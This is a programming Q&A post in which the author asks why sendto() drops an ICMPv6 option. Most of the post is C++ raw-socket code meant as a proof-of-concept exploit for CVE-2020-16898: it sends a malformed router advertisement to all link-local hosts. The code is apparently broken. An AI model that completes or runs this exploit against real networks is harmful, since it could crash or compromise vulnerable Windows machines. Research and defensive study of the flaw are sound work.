title: Sockets - sendto() truncating ICMPv6 options
body: <p>Out of curiosity, I was trying to write a simple proof-of-concept exploit to <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898" rel="nofollow noreferrer">CVE-2020-16898</a>. I used the RFCs (RFC 4861 and RFC 6106) to get the correct format, and I've managed to send a crafted ICMPv6 router advertisement packet using the code below. However, viewing the packet in Wireshark revealed that the packet option 25 (the payload) was missing from the packet that was actually sent.</p>
  <p>I suspect that it has something to do with the packet length - I tried converting it to Big Endian (using both htons() and manually inserting a hex number), but in these instances, sendto() fails with the &quot;Message too long&quot; error. The payload should be 56 bytes long, which should be well below the limits.</p>
  <p>I'm including my code below. I'll appreciate any help.</p>
  <pre><code>#include &lt;iostream&gt;
  #include &lt;cstdlib&gt;
  #include &lt;sys/socket.h&gt;
  #include &lt;netinet/in.h&gt;
  #include &lt;netinet/ip6.h&gt;
  #include &lt;arpa/inet.h&gt;
  
  struct ipHeader{
      uint8_t priority:4, version:4;
      uint8_t flow[3];
      uint16_t length;
      uint8_t nextHeader;
      uint8_t hopLimit;
  
      // 128-bit IPv6 addresses
      uint16_t srcAddress[8];
      uint16_t dstAddress[8];
  };
  
  struct payload{
      uint8_t type;
      uint8_t code;
      uint16_t checksum;
      uint32_t curHopLimit:8, M:1,O:1, reserved:6, lifetime:16;
      uint16_t routerLifetime;
      uint32_t reachableTime;
      uint32_t retrans;
      // Options, probably should be its own struct
      uint8_t optionType;
      uint8_t optionLength;
      uint16_t optionReserved;
      uint32_t optionLifetime;
      uint32_t dnsAddress[4]; // 128-bit IPv6 address
      uint64_t randomGarbage; // This is where magic happens
  };
  
  int main()
  {
      uint8_t *packet;
      packet = (uint8_t *) malloc(sizeof(ipHeader) + sizeof(payload));
  
      ipHeader *ip;
      payload *icmp;
  
      // Place IP header + payload directly to the packet buffer
      ip = (ipHeader *) packet;
      // Offset of payload in packet buffer
      icmp = (payload *)(packet+sizeof(ipHeader));
  
      // IPv6 packet header (arcane magic stuff)
      ip-&gt;version = 0b0110;
      ip-&gt;priority = 0;
      (ip-&gt;flow)[0] = 0;
      (ip-&gt;flow)[1] = 0;
      (ip-&gt;flow)[2] = 0;
      ip-&gt;length = htons(sizeof(payload)); // Should be 0x3800 (Big Endian)
      ip-&gt;nextHeader = 58;
      ip-&gt;hopLimit = UINT8_MAX; //Most hops possible to prevent the packet from being dropped
  
      std::cout &lt;&lt; std::hex &lt;&lt; ip-&gt;length &lt;&lt; std::dec &lt;&lt; std::endl;
  
      // ICMPv6 router advertisement packet (more arcane magic stuff)
      icmp-&gt;type = 134; // Router advertisement
      icmp-&gt;code = 0;
      icmp-&gt;checksum = 0; // will set/calculate later
      icmp-&gt;curHopLimit = 64;
      icmp-&gt;M = 0;
      icmp-&gt;O = 0;
      icmp-&gt;reserved = 0;
      icmp-&gt;lifetime = 0;
      icmp-&gt;reachableTime = 0;
      icmp-&gt;retrans = 0;
      icmp-&gt;optionType = 25;
      icmp-&gt;optionLength = htonl(3);
      icmp-&gt;optionLifetime = UINT32_MAX;
      icmp-&gt;randomGarbage = UINT64_MAX; // not very random, but w/ever
      icmp-&gt;checksum = 0x2e55;
  
      sockaddr_in6 remote{};
      remote.sin6_family = AF_INET6;
      remote.sin6_port = 0;
      remote.sin6_flowinfo = 0;
      remote.sin6_scope_id = 0;
  
      //Set addresses
      inet_pton(AF_INET6, &quot;fe80::eab1:fcff:fedb:74&quot;, &amp;(ip-&gt;srcAddress));
      inet_pton(AF_INET6, &quot;ff02::1&quot;, &amp;remote.sin6_addr);
      inet_pton(AF_INET6, &quot;ff02::1&quot;, &amp;(ip-&gt;dstAddress));
      inet_pton(AF_INET6, &quot;2001:4860:4860::8844&quot;, &amp;(icmp-&gt;dnsAddress)); // Google DNS, just to use a valid setting
  
      int sock, optVal;
      sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
      if(sock == -1){
          perror(&quot;Failed to open socket&quot;);
          exit(-1);
      }
  
      int status;
      status = setsockopt(sock, IPPROTO_IPV6, IPV6_HDRINCL, &amp;optVal, sizeof(int));
      if(status != 0){
          std::cout &lt;&lt; &quot;Socket options returned status &quot; &lt;&lt; status &lt;&lt; std::endl;
          perror(&quot;Failed to set socket options&quot;);
          exit(-2);
      }
  
      std::cout &lt;&lt; &quot;Sockets ready, sending payload...&quot; &lt;&lt; std::endl;
      std::cout &lt;&lt; &quot;Payload size: &quot; &lt;&lt; sizeof(payload) &lt;&lt; std::endl;
  
      status = sendto(sock, packet, ip-&gt;length, 0, (sockaddr *) &amp;remote, sizeof(remote));
      if(status != ip-&gt;length){
          std::cout &lt;&lt; &quot;sendto() returned status&quot; &lt;&lt; status &lt;&lt; &quot;(Errno: &quot; &lt;&lt; errno &lt;&lt; &quot;)&quot; &lt;&lt; std::endl;
          perror(&quot;Failed to send packet&quot;);
          exit(-3);
      }
  
      return 0;
  }
  </code></pre>